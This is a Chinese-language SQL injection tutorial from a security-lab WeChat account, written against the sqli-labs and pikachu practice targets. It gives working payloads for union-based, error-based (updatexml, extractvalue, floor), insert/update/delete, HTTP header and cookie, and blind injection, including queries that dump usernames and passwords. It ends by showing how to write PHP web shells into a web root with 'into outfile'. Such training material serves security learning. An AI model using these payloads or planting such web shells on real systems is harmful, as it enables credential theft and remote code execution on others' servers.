SQL注入方法
小百科
注:该文结合了sql-lab与pikachu靶场,故部分语句会有明确的注入对象,这并不会妨碍读者阅读
information_schema:
某一个数据库的名字,这个数据库十分的特殊,里面存放着,大量的隐私信息
schemata:
information_schema数据库中的一个表
schema_name:
schemata表中的一个字段(列),这个字段中记录着所有数据库的名称
tables:
information_schema数据库中的一个表
table_schema:
tables表中的一个字段(对应数据库的名字),这个字段里面记录着所有的数据库的名字
table_name:
tables表中的一个字段(相应数据库中所对应的表名),记录着与table_schema这个字段对应的数据库中对应的表名
columns:
information_schema数据库中的一个表
column_name:
columns表中的一个字段(里面为字段名),这个字段里面存放着放着各种各样的字段名
table_name:
columns表中的一个字段(对应表名),与上一个字段一起某个字段属于那个表里面的
table_schema:
columns表中的一个字段(对应库名),与前面的字段一起某个表属于那个库的
select database:
可以来查询当前数据库的名称
select user:
可以来查询当前数据库的权限
select version:
可以来获取相应的数据版本
concat函数:
将多个字符串连接成一个字符串。
语法:concat(str1, str2,...)返回结果为连接参数产生的字符串, 如果有任何一个参数为null,则返回值为null。
group_concat函数:
函数将组中的字符串连接成为具有各种选项的单个字符串。e.g.:
expression
ORDER BY expression
SEPARATOR sep);
select函数:
select语句用于从数据库中选取数据,结果被存储在一个结果表中,称为结果集。
SELECT 列名称 FROM 表名称
SELECT * FROM 表名称
union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q
这句话查询的意思是将information_schema这个数据库名中的tables表中的table_name的信息(里面所有的表名)展现出来,为了缩小范围,这些字段对应的数据库名字为pikachu
name=' union select 1,column_name from information_schema.columns where table_name='users'-- qq
这句话表示:查询column_name这个字段从information_schema这个数据库中的columns这个表中,为了减小范围,这几个字段所对应的表名为users
name=' union select username,password from users-- qq
这句话表示查询users这个表里面的username,password字段中所包含的数据
updatexml函数: 查询功能 并且会再xpath处查询 你将语法构造错误然后它就会将他查询的结果已报错的形式显示出来,利用报错查询:
xxx'updatexml(1,concat(0x7e,database()),0) or '
extractvalue()函数:从目标XML中返回包含所查询值的字符串
语法:
Extractvalue(xml_document,xpath_string)xml_document
是string格式,为XML文档对象的名称,xpath_string(xpath格式的字符串)xpath_string的定位必须要有效,否则会发生错误,利用报错查询:
xx' and extractvalue(0,concat(0x7e,database()))#
floor函数: 这和上面的差不多,只是形式不同利用报错查询:
xx' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
这里还是如过要查询其他的内容还是替换database和注意
information_schema.tables
inset 函数:在数据库里面插入内容(一般出现在注册部分,来添加个人信息),我们可以尝试用相关的报错来知道数据库里面的一个闭合方式,当我们知道了闭合方式,我们就可以用updatexml函数来进行查询我们想要知道的内容
如:
xxx' or updatexml(1,concat(0x7e,database()),0) or '
(这里我们只需要通过将这个databa()替换成我们想要查询的语句就可以)
update 函数: 在数据库中更新某个内容(一般出现在更改个人信息),我们可以尝试用相关的报错来知道数据库里面的一个闭合方式,当我们知道了闭合方式,我们就可以用updatexml函数来进行查询我们想要知道的内容,如:
xxx' or updatexml(1,concat(0x7e,database()),0) or '
(这里我们只需要通过将这个databa()替换成我们想要查询的语句就可以)
delete 函数: 从数据库中删除某个内容,一般的做法是直接把这个内容存放的id直接删除,这样就是一个数字型的,然后通过updatexml这个函数进行查询我们想要知道的内容
step1:找到可疑点,判断能否进行sql注入
step2:判断数据库类型
step3:根据注入参数类型,在脑海中重构SQL语句的原貌,通过注入sql语句猜表名和字段名(字段名即 列名)
step4:使用SQL语句,得出字段的值
数字型注入:
后端执行的SQL语句一般是:
$id=$_post['id']
select 字段1,字段2 from 表名 where id=$id
当我们传入不正确的语句,如果带入数据库执行的话就表示有注入:
select 字段1,字段2 from 表名 where id=1 or 1=1
这个条件为永远为真,所以会把所有的内容爆出来)
字符型注入:
后端执行的SQL语句一般是:
$id=$_post['id']
select 字段1,字段2 from 表名 where id=$id
当我们传入不正确的语句,如果带入数据库执行的话就表示有注入:
select 字段1,字段2 from 表名 where id='admin' or 1=1#'
(因为这里是字符,如果我们不对前面的单引号进行闭合的话,我们的注入语句就会被当作是id的整个语句带入执行,我们的注入语句就不会被执行,所以就会报错,因此我们需要对前面的引号进行闭合对后面的引号进行注释)
搜索型注入:
后端执行的SQL语句一般是:
select * from member where username like '%admin%'
(数据库里面的搜索方式,采用‘%%’进行闭合)
当我们传入不正确的语句,如果带入数据库执行的话就表示有注入:
select * from member where username like '%xxx%' or 1=1#%’
(这里使用%'来进行闭合的,我们需要把前面的闭合,把后面的注释)
二次注入:
后端执行的SQL语句一般是:
select * from membr where username=('$name')
(这里采用的是('')进行语句的闭合)
当我们传入不正确的语句,如果带入数据库执行的话就表示有注入:
select * from membr where username=('xxx') or 1=1 #')
(通过这里的闭合方式我们可以构造语句:xx') or 1=1 -- qq来进行一个闭合和注释)
insert/update注入:
注入逻辑是类似的,只是在构造语句方面出现了不同,
insert一般出现在给数据库中添加某些信息
update一般出现在给数据库里面更新某些信息
注入
xxx' or updatexml(1,concat(0x7e,database()),0) or '
(这里通过报错就可以将database()的内容给爆出来, 当我们想要查找其他的内容的时候只需要替换database()就可)
用
xx' and extractvalue(0,concat(0x7e,database()))#
来进行查询 (extractvalue这个函数的使用与updatexml的使用是一样的)
delete注入:
一般出现在可以从数据库中删除某些内容的地方,这个得通过抓包,一般是在把数据库中对应的 id 删除的地方
我们可以尝试用相关的报错来知道数据库里面的一个闭合方式,当我们知道了闭合方式,我们就可以使用updatexml函数来进行查询我们想要知道的内容
如:
1 or updatexml(1,concat(0x7e,database()),0)
(这里我们只需要通过将这个database()替换成我们想要查询的语句就可以)
由于我们我们的参数可能是在URL地方提交的,所以我们需要对我们输入的内容进行一个url编码,buro提供了这样的一个方法编码,或者我们可以直接将空格变成 +
http header注入:
产生原因:后台开发人员为了验证客户端头信息,如:cookie验证,或者通过http header 头信息获取客户端的一些信息,如:useragent、accetp字段等会对客户端的http header信息进行获取并使用SQL进行处理。
如何说明这里有http header头注入呢,当我们输入一些东西之后,浏览器给我们返回相应的ip地址user agent等有关http header里面的内容,就表示可能数据库把http header里面的内容放到了里面,所以就有可能存在注入。
1、我们先把报错的头部的地方进行相应的一个替换,比如:'等,看看能不能达到我们预期的效果,报错等呀,如果存在就说明有注入
2、这个可能是一个插入,所以我们一个要尝试一下insert的注入语法
1、在cookie的地方也有可能会出现相应的注入,因为我们前端cookie可能会拿到后台数据库去进行一个验证,所以我们也可以在这里进行一个尝试,比如在 admin后面加上'等,看看会不会出现相应的一个变化
2、注入语句还是可以使用上面的insert/update的注入语句
盲注:(盲注一般需要使用工具)
后台使用错误消息屏蔽报错,这个时候就会无法根据报错来进行一个注入的判断,这个就为盲注
真假盲注:
不管输入是否正确就只会出现两种情况,要么正确,要么错误
我们可以通过输入 and 1=1 and 1=2 来进行判断
时间盲注:
通过页面返回的时间进行一个判断,我们可以使用 seleep(x)返回页面的时间进行判断,因为sleep()在数据库中的作用是延迟几秒钟
判断语句:xx' and sleep(5)# 这里表达的意思是延迟5秒钟
语句:
-
select 1,2 into outfile "/var/www/html/1.txt"
-
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用 into outfile 将结果写入到指定的文件中,然后访问获取
实现条件:
-
需要知道远程目录
-
需要远程目录有写入权限
-
需要数据库开启了 secure_file_priv
例如:
xx' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
xx' union select "<?php system($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
(system是一个系统权限)
·END·
▼
谨记责任,高歌向前
▼
微信公众号:蝰蛇安全实验室
文案 | 大川儿
排版 | Light11
审核 | Crispitol
指导老师 | Hard Target
本文始发于微信公众号(蝰蛇安全实验室):SQL注入方法大全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论